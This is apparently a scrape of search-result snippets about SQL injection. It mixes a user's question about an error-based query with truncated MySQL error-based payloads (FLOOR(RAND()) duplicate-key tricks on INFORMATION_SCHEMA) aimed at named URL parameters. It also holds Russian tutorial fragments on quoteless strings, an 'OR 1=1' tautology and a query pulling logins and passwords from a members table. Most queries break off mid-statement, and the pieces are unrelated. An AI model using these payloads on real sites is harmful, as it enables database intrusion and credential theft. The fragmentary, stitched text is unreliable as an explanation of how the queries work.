SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x). The ':sjw:1:ukt:1' part is specially constructed with variables concatenated together to give random 0s or 1s etc. I would like to know what these queries do?
...MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR). Payload: ID=1' AND (SELECT 3371 FROM(SELECT COUNT(*),CONCAT(0x7178717071,(SELECT
...MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) #. Payload: sect_id=e00d4757" AND (SELECT 6440 FROM(SELECT COUNT(*),CONCAT
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
Payload: category_id=24' AND (SELECT 3422 FROM(SELECT COUNT(*),CONCAT(0x71706a7171
...COUNT(*),CONCAT(0x71717a7171,(SELECT(ELT(6440=6440,1))),0x716a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- twet.
...CONCAT(0x716a707671,(SELECT (ELT(7531=7531,1))),0x717a6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
(M): SELECT CONCAT(login, password) FROM members. 7. Строки без кавычек Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M). Синтаксис: SELECT 0x457578 (M). В MySQL есть простой способ представления строки в...
SELECT is used to retrieve rows selected from one or more tables, and can include UNION statements and subqueries.
SELECT * FROM news WHERE id_news = -1 OR 1=1. Таким образом, изменение входных параметров путём добавления в них конструкций языка SQL вызывает изменение в логике выполнения SQL-запроса (в данном примере вместо новости с заданным идентификатором...